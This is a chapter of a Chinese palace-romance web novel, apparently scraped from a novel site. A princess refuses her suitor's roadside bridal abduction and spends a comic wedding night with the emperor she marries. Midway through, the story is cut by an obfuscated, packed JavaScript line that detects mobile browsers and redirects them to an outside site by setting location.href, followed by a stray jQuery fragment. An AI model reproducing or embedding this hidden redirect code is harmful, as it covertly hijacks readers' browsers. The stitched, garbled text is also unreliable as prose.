沈宿雨收回视线,看向前方。
她思绪无限翻飞,好像透过这捧雪,看见了更多的什么,隐藏于它之后的。
宁祈此刻立于她身侧,顺着她的视线看过去,他看见的是潮湿的泥土,仿佛在低低地述说着曾经覆盖的洁白与寒冷。
他抽出她手中的花枝,将它别于她的发髻里。
沈宿雨收回思绪伸手抚上这梅花枝。
宁祈看向她,此间雪色春色绝色,尽收于眼底。
鬼使神差地,沈宿雨开口问他,“好看吗?”
“好看啊。”
意识到自己做了什么,宁祈后知后觉的有点脸热。
此刻寒意未散,他的指尖微微泛凉,回味着刚才无意间触碰到她发丝的温度。
四下静谧,只剩下风吹过的疏疏声与雪化的细响。
沈宿雨笑着开口:“你怎么来了,总归不是专门来见我的吧?”
宁祈这才想起正事,“怎么会?我是来找沈言的。”
只是顺道折了支梅花来见她,莫名其妙地,在看见这支梅花时他便想起了沈宿雨。
等回过神来时他已将梅花折下,来到她的身边。
沈宿雨低低笑了起来,“那你还不快去。”
宁祈依言潇洒离开,像一阵吹过梅花枝头的风。
沈宿雨目送他远去的背影,她想,下次再见面可能便是成婚之后了。
的确如宁祈所言,她身处在皇宫之中,没有见过那么多的人情冷暖,世态炎凉。
就算有幸见过,大多时候她也是冷眼观世,自命清高。
风微微吹过,她也整理好自己的思绪,抬步离去。
*
成亲那天,十里红妆,锣鼓喧天。
她坐在马车里,满身珠翠,凤冠霞帔。
外面的热闹喜庆浮动在空气中的每一个角落,从晨起梳妆打扮到现在坐上骄子,她如在梦中,比起热烈喜悦她心中更多的是平静如水。
可能她不觉得这天比平常的每一天有任何不同,只当是一个舟车劳顿的晴天。
马车缓缓地行驶着,从南初国到宛国还有好长一段路要走。
她坐在马车里从开始的平静到疲惫,等待着时间的逝去。
突然,马车外传来打斗声,熟悉的记忆在脑海里涌现,沈宿雨只觉天旋地转。
在慌乱中,她扯下头上盖的红盖头,只见一人掀开车帘,逆光而来。
在看清来人时,沈宿雨心跳骤停,那是一个无论如何也不应该出现在这里的人。
来人向她伸出手,他说:“沈宿雨,跟我走吧。”
这声音像是有魔力,她情不自禁地伸出手,怔愣地低语,“李观砚……”
她看见自己的手搭在李观砚的手上,周遭的喧闹打杀她都听不见了。
随即她便被李观砚拉起,走出马车外。
她无法描述此刻的心情,只听从着身体的本能去动作。
此时还是初春,冬天的冷意并没有完全褪去,李观砚的手却相当温暖。
她闻到从他身上袭来的梅花香,像一团朦胧甜蜜的美梦,紧紧将人包裹住,让人无法挣脱,也不想挣脱。
随后他便被她抱起,她听见他问她,“你是自愿的吗?”
这话问的莫名其妙,她点了点头,又摇了摇头。
李观砚浅笑了一下,“没关系了。”
沈宿雨后知后觉反应过来她做了什么,“你怎么来了?”
“我来抢亲啊。”他语气轻快,话说的理所当然。
“胡闹,你知道和亲代表着什么吗?”沈宿雨有点恼了,竟然任由自己跟着他一起胡来。
“我当然知道。”李观砚坚定地答道。
“你放我下来,你这样相当于同时得罪了南初国与宛国。”沈宿雨挣扎道。
李观砚抱紧了她,防止她掉下去,笑了一下,“我做之前便都想清楚了。”
“沈宿雨我不想看你嫁给别人。”他说话声音低低的,闷闷的,竟染上了一丝丝哀求。
听他这样说,沈宿雨的心一下子揪作一团,“可是你也不能……”
李观砚无奈道:“让我抱一会儿吧,就一会儿。”
沈宿雨止住挣扎的动作,安静下来。
李观砚突然说:“你知道吗,谢迟不在了。”
沈宿雨神色也凝重起来,“我知道。”
她还知道谢迟是因何而死,只是不知道该不该告诉李观砚,他会不会相信她,又能不能承受得了。
“这些天我想了很多,生命太短暂太仓促了,我不想有那么多的遗憾。”
“你给我一次机会好不好?”
沈宿雨安静地听他说完,垂下头去,看见了自己身上穿的嫁衣,不由愣住。
她想起了她的身份,她不仅仅只是沈宿雨,她还是南初国的公主。
“你知道你今天带我走,会带来怎样的结果吗?”沈宿雨闭上眼睛,想到了盛国皇帝对谢家的忌惮,如今正是关键时候,李观砚他不能做太过出格的事。
“我比谁都明白这一点。”李观砚语气轻松随意,好想并不把它放在心上。
“你放我走吧,别闹了。”沈宿雨再度重复。
“能不走吗?”
“不能。”
好想时间又回到了在屋檐上的那个风雪夜。
他们两人都情不自禁地泪流满面。
“从今往后,我们桥归桥,路归路。”沈宿雨说完便推开他,连她自己都愣住了,她就这么轻易地推开了李观砚。
他仿佛浑身都被抽走了力气,变得软弱不堪,一击即碎。
“我今天只是遇见了山贼。”
沈宿雨踮起脚尖,在他嘴角印下一吻。
蜻蜓点水,像是一个无声的安慰。
她转身离去,她还要查清沈青颂的死因,于公于私,她都要履行这纸婚约。
在转身的刹那,泪水便决堤而下,彻骨地寒气涌入心扉,她一句话都说不出来。
风吹过山林引起一片沙沙声。她回到那个马车里,捡起红盖头重新盖上,像是在做什么再神圣不过的事情。
最后的视线是李观砚带着人离去。
马车再度行驶,这场婚礼继续进行。
她坐在马车里,心境早已不同,无限的悲伤排山倒海般涌来,她再清楚不过,她刚才放弃了什么。
可她不能为了一己私欲这样做。
她就坐在马车里等待,等待着这场旅程的终点。
按照命运的安排,等待着一切的到来。
最后抵达宛国见到宁祈时,她也说不出她是什么心情。
宁祈封她为贵妃,省去不少繁文礼节。
她被人送到房间,坐在床上等着宁祈的到来,起初她还有点拘谨担心。
当宁祈到来时,她攥紧了手中的帕子,心提到嗓子眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917206|177006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她听见他吩咐旁边的伺候的人下去,然后便走到她跟前。
宁祈笑了一声,“沈宿雨,你是在紧张吗?”
沈宿雨刚想嘴硬反驳几句,他便掀起了喜帕,两人一阵大眼瞪小眼不由都笑出声来。
紧张的氛围一下子消失殆尽,宁祈坐在她旁边,看着满床的红枣,花生,桂圆,莲子,不由一阵沉默。
真是“早生贵子”
沈宿雨顺着他的目光看过去,也脸上一热。
宁祈为了缓解尴尬开口道:“我听说李观砚来抢亲了?”
沈宿雨闻言白他一眼,“你消息这么灵通吗?”
宁祈脸色一阵复杂,“拜托,毕竟是我成婚,又不是别人。”吃瓜吃到自己身上,真是……
今天宴席众人看向他的眼神都……怪怪的。
同情怜悯又落井下石。
宁祈:“所以……”
沈宿雨坦诚道:“就是你们想的那样啊。”
宁祈:“……”
他随手抓了把床上的红枣吃了起来。
沈宿雨:“你还在乎这个吗?我们不是合作关系吗?”
不谈情说爱,只讲利益。
宁祈:“我当然不在乎这个,我在乎的是我自己的颜面……”
沈宿雨:“哦。”
宁祈:“你饿不饿?”
沈宿雨颇为无语地看他一眼,“你说呢?”
宁祈:“……饿?”
沈宿雨:“不然呢?是谁舟车劳顿,是谁在这里等你这么久!”
宁祈只好招来在外面侯着的人去传御膳房做碗吃食送过来。
半个时辰后,沈宿雨吃饱喝足又与正在看兵书的宁祈来了个大眼瞪小眼。
沈宿雨:“你睡地上我睡床。”
宁祈:“……”
于是正当他勤勤恳恳地打起地铺时,外面突然传来通报。
宁祈把枕头往地上重重一摔,“谁啊,这么没眼力见,在朕的新婚之夜打扰朕。”
那来通报的小奴才颤颤巍巍地开口道:“靖王府的人那边派人传来消息,说是有要事相商,刻不容缓。”
宁祈眉头一皱,自从他篡位哦不,登基之后他就一直将宁迟囚禁在之前的靖王府里。
宁迟能有什么事找他……难道是因为国家大事……
反正留下来也没什么要紧事,无非是躺在地上睡觉,但他今晚要是就这么走了,外人如何看沈宿雨……
他正在思忖着,外面的守着的奴才又开始催了,他正准备发作,沈宿雨就抢先一步开口了,“这么晚前来,宁迟肯定是有要紧事找你,你快去吧,不用管我。”
宁祈看了她一眼,便下定决心道:“那我先走了。”
沈宿雨点点头,在宁祈走后便躺在床上,准备入睡。
可她怎么也睡不着,人生地不熟。
她又想起了李观砚,他为什么会来抢亲呢?
答案再明显不过了,几乎是呼之欲出。
想到这里她竟莫名有点心烦意乱,李观砚喜欢她这个想法浮现在她心中,并且越来越发鲜明。
那她呢,她想必也是喜欢李观砚的。
可是两情相悦又有什么用呢?
她如今已经嫁给了宁祈,他以后也会娶他的太子妃,他们之间只会渐行渐远。
是她亲手放过了这个良机,如今也不该在这里黯然伤神,悔恨不已。